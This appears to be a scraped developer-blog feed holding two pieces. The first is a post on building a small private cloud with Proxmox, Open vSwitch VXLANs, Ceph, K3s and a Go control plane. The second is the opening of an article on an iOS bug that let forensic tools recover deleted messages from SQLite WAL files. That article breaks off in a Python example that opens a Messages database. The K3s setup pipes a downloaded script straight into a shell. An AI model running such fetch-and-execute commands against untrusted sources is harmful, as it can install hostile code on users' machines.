&lt;p&gt;This is the foundation. Every VM, every container, everything runs on top of this.&lt;/p&gt;

&lt;h3&gt;
  
  
  Networking: Open vSwitch + VXLANs
&lt;/h3&gt;

&lt;p&gt;This is where things get interesting — and painful. When you want tenant isolation (so different users or projects can't see each other's traffic), you need a software-defined network.&lt;/p&gt;

&lt;p&gt;I use Open vSwitch (OVS) with VXLAN overlays. Each project gets its own VXLAN segment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create a VXLAN tunnel between two hypervisor nodes&lt;/span&gt;
ovs-vsctl add-br br-overlay
ovs-vsctl add-port br-overlay vxlan0 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;set &lt;/span&gt;interface vxlan0 &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;vxlan &lt;span class="se"&gt;\&lt;/span&gt;
  options:remote_ip&lt;span class="o"&gt;=&lt;/span&gt;10.0.0.2 &lt;span class="se"&gt;\&lt;/span&gt;
  options:key&lt;span class="o"&gt;=&lt;/span&gt;1001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives you Layer 2 connectivity across physically separate hosts — the same trick that AWS and GCP use under the hood (just with a lot more engineering muscle behind it).&lt;/p&gt;

&lt;h3&gt;
  
  
  Storage: Ceph
&lt;/h3&gt;

&lt;p&gt;For distributed block and object storage, I run a small Ceph cluster across three nodes. Ceph is the backbone of many production clouds, including parts of OpenStack deployments.&lt;/p&gt;

&lt;p&gt;Creating a storage pool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ceph osd pool create my-cloud-vms 128
rbd pool init my-cloud-vms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Is Ceph operationally complex? Absolutely. But it gives you replicated, fault-tolerant storage that behaves like EBS or GCS under the hood.&lt;/p&gt;

&lt;h3&gt;
  
  
  Orchestration: Kubernetes (K3s)
&lt;/h3&gt;

&lt;p&gt;For running containerized workloads, I use K3s — a lightweight Kubernetes distribution that doesn't require a team of SREs to operate. It runs comfortably on VMs provisioned by Proxmox.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install K3s on a fresh VM&lt;/span&gt;
curl &lt;span class="nt"&gt;-sfL&lt;/span&gt; https://get.k3s.io | sh &lt;span class="nt"&gt;-s&lt;/span&gt; - &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cluster-init&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--disable&lt;/span&gt; traefik &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--node-name&lt;/span&gt; cloud-control-01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Control Plane: The Hardest Part Nobody Talks About
&lt;/h2&gt;

&lt;p&gt;Here's the dirty secret: the compute, storage, and network layers are solved problems. There is open-source software for all of it.&lt;/p&gt;

&lt;p&gt;The genuinely hard part is &lt;strong&gt;the control plane&lt;/strong&gt; — the API and logic that ties everything together and exposes it to users.&lt;/p&gt;

&lt;p&gt;When a user says "give me a 4-core VM with 8GB RAM in region east," something needs to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Authenticate the request&lt;/li&gt;
&lt;li&gt;Check quota and billing&lt;/li&gt;
&lt;li&gt;Select the right hypervisor node (scheduling)&lt;/li&gt;
&lt;li&gt;Call the Proxmox API&lt;/li&gt;
&lt;li&gt;Configure networking for the new VM&lt;/li&gt;
&lt;li&gt;Register the VM in a state database&lt;/li&gt;
&lt;li&gt;Return an IP address and credentials to the user&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That workflow is your control plane. I'm building mine as a Go service with a PostgreSQL backend:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;CreateVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;CreateVMRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;VM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// 1. Validate and authenticate&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ErrUnauthorized&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// 2. Check quota&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;quota&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Resources&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ErrQuotaExceeded&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// 3. Schedule: pick a hypervisor node&lt;/span&gt;
    &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scheduler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Resources&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ErrNoCapacity&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// 4. Provision the VM&lt;/span&gt;
    &lt;span class="n"&gt;vmID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;proxmox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CreateVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Errorf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"provisioning failed: %w"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// 5. Configure networking&lt;/span&gt;
    &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Allocate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vmID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProjectID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;proxmox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DeleteVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vmID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;// rollback&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Errorf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"network allocation failed: %w"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// 6. Persist state&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;VM&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;vmID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NodeID&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OwnerID&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SaveVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is simplified, but it captures the essence. Notice the rollback on network allocation failure — distributed system failures bite hard when you don't handle partial states.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mistakes I've Made (So You Don't Have To)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Skipping Idempotency Early On
&lt;/h3&gt;

&lt;p&gt;Cloud APIs need to be idempotent. If a VM creation request times out and the client retries, you must not create two VMs. I didn't implement idempotency keys early enough and ended up with orphaned VMs I couldn't account for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Accept a &lt;code&gt;client_request_id&lt;/code&gt; on every mutating API call and deduplicate in your database.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Underestimating Networking Complexity
&lt;/h3&gt;

&lt;p&gt;I naively thought networking was "just routing." It's not. You're dealing with ARP storms, MTU mismatches across VXLAN tunnels, asymmetric routing, and firewall state tables that don't survive node reboots. Budget triple the time you think you need here.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. No Observability From Day One
&lt;/h3&gt;

&lt;p&gt;I added metrics and logging as an afterthought. Big mistake. When your control plane starts behaving weirdly at 2 AM, &lt;code&gt;printf&lt;/code&gt; debugging across three hypervisor nodes is a nightmare.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Instrument everything from day one. I now use [[Prometheus and Grafana for metrics]] alongside structured JSON logging shipped to a central Loki instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// Instrument your handlers from the start&lt;/span&gt;
&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;CreateVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;CreateVMRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;VM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;timer&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;prometheus&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vmCreationDuration&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;timer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ObserveDuration&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;vmCreationTotal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Inc&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c"&gt;// ... rest of the logic&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What This Teaches You About Public Clouds
&lt;/h2&gt;

&lt;p&gt;Building even a tiny cloud fundamentally changes how you read AWS or GCP documentation. Phrases like "availability zone," "VPC peering," "instance scheduling," and "eventual consistency" stop being buzzwords and become concrete engineering decisions you've personally wrestled with.&lt;/p&gt;

&lt;p&gt;You start to understand &lt;em&gt;why&lt;/em&gt; EBS volumes have latency characteristics they do, why cross-AZ traffic costs money, why spot instances can be interrupted. These aren't arbitrary decisions — they're consequences of real physical and logical constraints.&lt;/p&gt;

&lt;p&gt;If you want to become a genuinely better cloud engineer (not just a cloud &lt;em&gt;user&lt;/em&gt;), [[infrastructure-as-code tools and deep cloud internals books]] will only take you so far. At some point, you have to build.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where I Am Today
&lt;/h2&gt;

&lt;p&gt;After three months, my cloud can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Provision and destroy VMs via API&lt;/li&gt;
&lt;li&gt;✅ Allocate isolated project networks automatically&lt;/li&gt;
&lt;li&gt;✅ Serve block storage from Ceph&lt;/li&gt;
&lt;li&gt;✅ Run Kubernetes workloads across the VM fleet&lt;/li&gt;
&lt;li&gt;✅ Track basic resource usage per user/project&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Still working on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔧 Live VM migration between hypervisor nodes&lt;/li&gt;
&lt;li&gt;🔧 A proper billing and quota system&lt;/li&gt;
&lt;li&gt;🔧 A usable developer portal (the API is functional but ugly)&lt;/li&gt;
&lt;li&gt;🔧 Automated certificate management for tenant workloads&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The repo is private for now, but I'm planning to open-source the control plane once it's less embarrassing. Follow me here on DEV if you want to be notified when that drops.&lt;/p&gt;




&lt;h2&gt;
  
  
  Should You Do This?
&lt;/h2&gt;

&lt;p&gt;If you want to deeply understand distributed systems, networking, and how modern infrastructure actually works — yes, absolutely. Building a cloud, even a toy one, is one of the most educational things I've ever done as an engineer.&lt;/p&gt;

&lt;p&gt;If you need to ship a product next quarter — no, rent compute. That's what AWS is for.&lt;/p&gt;

&lt;p&gt;But if you have the itch, scratch it. &lt;code&gt;mkdir my-cloud&lt;/code&gt; and see where it takes you.&lt;/p&gt;




&lt;h2&gt;
  
  
  Resources That Actually Helped
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;Designing Data-Intensive Applications&lt;/em&gt; by Martin Kleppmann — essential for understanding the state management challenges&lt;/li&gt;
&lt;li&gt;The Proxmox API documentation (surprisingly good)&lt;/li&gt;
&lt;li&gt;The Ceph documentation (less good, but comprehensive)&lt;/li&gt;
&lt;li&gt;[[Cloud Native Patterns and architecture guides]] — for thinking about multi-tenancy correctly&lt;/li&gt;
&lt;li&gt;The OpenStack source code — not to run it, but to read how they solved problems&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;If you're building something similar, or you've done this before and want to tell me where I'm going wrong — drop a comment below. I read everything. And if you want updates as this project evolves, follow me here on DEV. There's a lot more to come.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cloud</category>
      <category>devops</category>
      <category>infrastructure</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Apple Fixes the iPhone Bug That Cops Used to Extract Deleted Chat Messages — What Developers Need to Know</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 14:47:32 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/apple-fixes-the-iphone-bug-that-cops-used-to-extract-deleted-chat-messages-what-developers-need-26nf</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/apple-fixes-the-iphone-bug-that-cops-used-to-extract-deleted-chat-messages-what-developers-need-26nf</guid>
      <description>&lt;h1&gt;
  
  
  Apple Fixes the iPhone Bug That Cops Used to Extract Deleted Chat Messages — What Developers Need to Know
&lt;/h1&gt;

&lt;p&gt;If you build mobile apps, handle user data, or care about digital privacy, this one matters. Apple has quietly patched a significant iOS vulnerability that law enforcement agencies — and, by extension, forensic data extraction tools — were actively exploiting to recover &lt;strong&gt;deleted chat messages&lt;/strong&gt; from iPhones.&lt;/p&gt;

&lt;p&gt;This isn't a theoretical threat. Tools like Cellebrite and GrayKey have been used in real criminal investigations to pull data that users believed was permanently gone. With Apple's latest fix, that pipeline appears to be closed — at least for now.&lt;/p&gt;

&lt;p&gt;Let's break down what the bug was, how it was exploited, what Apple actually fixed, and what this means for developers building privacy-sensitive applications.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Was the Bug?
&lt;/h2&gt;

&lt;p&gt;The vulnerability centered on how iOS handled &lt;strong&gt;deleted data persistence&lt;/strong&gt; in its SQLite-based databases — specifically within the Messages app and other native communication frameworks.&lt;/p&gt;

&lt;p&gt;When a user deletes a message on their iPhone, iOS marks the database record as deleted and eventually overwrites it. The key word is &lt;em&gt;eventually&lt;/em&gt;. Under certain conditions, the data remained in a &lt;strong&gt;recoverable state&lt;/strong&gt; longer than expected — sometimes indefinitely — in database journal files and Write-Ahead Logging (WAL) files.&lt;/p&gt;

&lt;p&gt;Here's a simplified look at how SQLite WAL mode works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- SQLite WAL mode keeps a write-ahead log file alongside the main DB&lt;/span&gt;
&lt;span class="n"&gt;PRAGMA&lt;/span&gt; &lt;span class="n"&gt;journal_mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;WAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- When you DELETE a record...&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12345&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- ...the data isn't immediately gone. It persists in the -wal file&lt;/span&gt;
&lt;span class="c1"&gt;-- until a checkpoint operation merges and cleans it up.&lt;/span&gt;
&lt;span class="n"&gt;PRAGMA&lt;/span&gt; &lt;span class="n"&gt;wal_checkpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;TRUNCATE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem? On iOS, those checkpoint operations weren't being triggered aggressively enough after deletions in the Messages database. Forensic tools knew exactly where to look — and they did.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Cops (and Forensic Tools) Exploited It
&lt;/h2&gt;

&lt;p&gt;Digital forensics platforms that cops used, such as Cellebrite UFED, specialize in physically imaging iOS file systems when they have device access. Once they had a full filesystem extraction (which Apple's Secure Enclave made harder over time, but not impossible on some device/iOS version combos), investigators could:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Copy the raw SQLite database files&lt;/strong&gt; from the Messages app sandbox&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parse the &lt;code&gt;-wal&lt;/code&gt; and &lt;code&gt;-shm&lt;/code&gt; journal files&lt;/strong&gt; alongside the main &lt;code&gt;.db&lt;/code&gt; file&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reconstruct deleted rows&lt;/strong&gt; that hadn't been checkpointed and overwritten&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In SQLite terms, what they were doing looks something like this in Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_messages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db_path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Simplified illustration of reading an iOS Messages DB.
    Forensic tools do far more sophisticated recovery,
    including WAL file parsing and freed-page scanning.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
